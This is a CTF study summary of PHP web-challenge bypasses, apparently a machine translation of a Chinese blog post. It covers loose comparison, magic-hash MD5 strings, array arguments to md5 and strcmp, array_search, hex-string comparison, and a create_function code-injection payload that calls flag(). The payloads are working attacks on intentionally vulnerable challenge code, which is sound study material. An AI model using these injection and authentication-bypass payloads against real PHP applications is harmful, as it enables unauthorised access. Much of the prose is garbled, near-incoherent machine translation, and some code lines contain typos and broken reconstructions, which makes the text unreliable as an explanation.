WEBの知識ポイントテーマ別

CTFの知識個人要約-WEB

  • PHPと弱いバイパス種々のタイプの比較

== ===の2の符号付きの比較では、PHP
での$a==$b比較:

$a=null;$b=flase ; //true
$a='';$b=null; //true

そこ比較して多くのそのような例があり、もし

1 <?php
2 var_dump("admin"==0);  //true
3 var_dump("1admin"==1); //true
4 var_dump("admin1"==1) //false
5 var_dump("admin1"==0) //true
6 var_dump("0e123456"=="0e4456789"); //true 
7 ?>  

比較を行うときに我々はPHPで表示されます。この時間は、==、文字列型は、最初ます同じに変換され、比較、その後、。===比較を行うとき、第一判定する文字列の二種類のタイプが同じである場合、比較。後者はバイパスにそれを使用することができ、いくつかの場所がありますしながら、だから、== ===と比較して、前者は、より厳格です。

変換の種類に直面する問題

  • 文字列が含まれていない場合は「」、 『E』は、 『E』及びプラスチック範囲内の数値は、これがint値として扱われます。
  • それ以外の場合は値をfloatとしてあります
  • 文字列は、値が使用され、有効な値で始まり、それ以外の場合は、その値が0であれば、文字列の先頭には、その値を決定します。
1 <?php
2 $test1=1 + "10.5"; // $test1=11.5(float)
3 $test2=1+"-1.3e3"; //$test2=-1299(float)
4 $test3=1+"add-1.3e3";//$test3=1(int)
5 $test4=1+"2admin";//$test4=3(int)
6 $test5=1+"admin2";//$test5=1(int)
7 ?>

これは、PHPコードの場合は、変換中に発生する上記タイプについて説明しました。

で比較CTF弱い型付けが表示されます

  • MD5バイパス

比較操作中に、あなたは、このような0E文字列が発生した場合、PHPは、科学的表記にそれを解決します。だから、最も弱いMD5を構築0Eによって解決することができるタイプされました。

if (isset($_GET['a']) and isset($_GET['b'])) {
if ($_GET['a'] != $_GET['b'])
if (md5($_GET['a']) == md5($_GET['b']))
die('Flag: '.$flag);
else
print 'Wrong.';
}

ソリューション1

アカウントに0Eで始まるように暗号化されたMD5を取った後、値はその2つの直接アップロード後にMD5暗号化が正常にバイパス0Eし始めている、0であり、実際には、このようなペイロードは、インターネットの多くは、ここに大きなカルマの一部です。

QNKCDZO
0e830400451993494058024219903391

s878926199a
0e545993274517709034328855841020
  
s155964671a
0e342768416822451524974117254469
  
s214587387a
0e848240448830537924465865611904
  
s214587387a
0e848240448830537924465865611904
  
s878926199a
0e545993274517709034328855841020
  
s1091221200a
0e940624217856561557816327384675
  
s1885207154a
0e509367213418206700842008763514

240610708 
0e462097431906509019562988736854

正しい、我々が正常にバイパスすることができます( '240610708')== MD5( 'QNKCDZO')MD5はそう。

解決策2

私たちは、配列に渡された場合は、MD5()関数は、配列を扱うことができない、リターンを知っていますヌル2つのアレイは、暗号化されたNULLの後に得られる、すなわち等しいです。
ペイロード:? [] = 1 &B [] = 0 にする
ここで継続は、PHPの関数の戻り値サプリメント
(1.md5)の着信がNULLである場合は、配列を返します

2.strpos()は配列を渡す場合、NULLを返します。

3.strcmp関数は配列を比較することができない、アレイは、バイパスに用いることができます。そのため、比較的緩い、内蔵の機能を備えたPHPの文字列配列がnullを返し、偽として見ることができるの

4.sha1()あなたは、配列を渡した場合、また、NULLを返します。

  • アレイバイパス

<?php
 2 if(!is_array($_GET['test'])){exit();}
 3 $test=$_GET['test'];
 4 for($i=0;$i<count($test);$i++){
 5     if($test[$i]==="admin"){
 6         echo "error";
 7         exit();
 8     }
 9     $test[$i]=intval($test[$i]);
10 }
11 if(array_search("admin",$test)===0){
12     echo "flag";
13 }
14 else{
15     echo "false";
16 }
17 ?>

怖がってはいけない、この質問は、あなたが知っているという事実を見ているarray_search()機能の弱いタイプを、この関数は、次の3つのパラメータ、受け取りarray_search()を持つ関数in_array()配列のキーに同じ外観を。値が見つかった場合、キーの照合要素が返されます。見つからない場合は、falseが返されます。しかし、もし三番目のパラメータ厳密真の、唯一のように指定されたデータ型値は、一貫性のあるリターンキー対応する要素の場合です。第3のパラメータは、デフォルトのflaseでarray_search()クエリが成功した後にテスト文字列で「admin」の外観は数値配列は、最初の文字列がデジタル0に変換される時、それはので、この場合の建設には、そのキー名に戻りますペイロード= ?test[0]=0

  • 六角弱い型変換バイパス

そこに問題があり、文字列比較演算の16進数の一種

"0x1e240" == "123456" //true
"0x1e240" == 123456 //true
"0x1e240" == "1e240" //false

0Xの先頭の時刻の文字列であるとき、これを解析するPHPの文字列は小数になり、その後、比較するためです0x1240小数は123456であるになるための決意をint型と文字列型の比較は123456等しいので、ここ==どこがバイパスされてもよいです。例としては、次のとおりです:

<?php
function noother_says_correct($number)
{
        $one = ord('1');
        $nine = ord('9');
        for ($i = 0; $i < strlen($number); $i++)
        {   
                $digit = ord($number{$i});
                if ( ($digit >= $one) && ($digit <= $nine) )
                {
                        return false;
                }
        }
           return $number == '54975581388';
}
$flag='*******';
if(noother_says_correct($_GET['key']))
    echo $flag;
else 
    echo 'access denied';
?>

あなたは= **** URLに、コードのaskiiターンのこの文字列は、現在1および9を比較するキーの文字列を入力することをタイトル手段は、数字の文字列が1-9内部許可されていませんが、最終的にreturn $number == '54975581388';}、この文は間違って理解していない、のいずれかreturn false;、またはreturn true;デジタルスチルとせずに、文字列の値を言うことである54975581388同じ仕事、使用に時間進型変換なぜなら54975581388進値はすべて英語でジャストですCCCCC CCCC‬。この時間が必要にのみ可能に成功したバイパスの前に0Xを追加!
ペイロードがあります?key=0XCCCCCCCCC‬

  • バイパスの他のタイプ

いくつかの単語の男は、直接コードに、と述べました。

 1     <?php
 2 
 3     function flag()
 4     {
 5         echo "flag{xxxxxxx}";
 6     }
 7 
 8     $sort_by = $_GET['sort_by'];
 9     $sorter = 'strnatcasecmp';
10     $databases=array('1234','4321');
11     $sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';
12     usort($databases, create_function('$a, $b', $sort_function));

あなたが呼び出すことができればflag()、それは光栄が、コードが表示されない、変数は、私たちは一つだけを制御することができますsort_byので、GET変数が突破口になります。usort機能は、カスタムに対応する関数を呼び出す$sort_functionに来て$databases、計算は、配列を比較するカスタム関数のパラメータを構築するusort A A、 B、関数本体$ sort_functionとして、これは無名関数と等価である書かれています

function mydefine($a,$b){ 函数体($sort_function) }

場合は、この時間は、私たちは、そのコードを復元しますsort_by=1、と呼ばれます

 function mydefine($a,$b){ return 1 * strnatcasecmp($a["1"], $b["1"]);}

今回は中にありますsort_by=?。この?私たちが電話をかけたいので、ハードワーク、flag()、我々は閉じてみてくださいreturnとコンストラクタ、構造的なペイロード
?sort_by=1"],$b["1"];}flag();//
PHPとして、この時点で

function mydefine($a,$b){ return 1 * strnatcasecmp($a["1"],$b["1"];}flag();//"], $b["1"],$b["1"]}flag();//"]);}

コメント記号//はすべてコメントアウトため、コールの最終的な成功の背後にありますflag()

公開された17元の記事 ウォンの賞賛3 ビュー1085

おすすめ

転載: blog.csdn.net/crisprx/article/details/103011725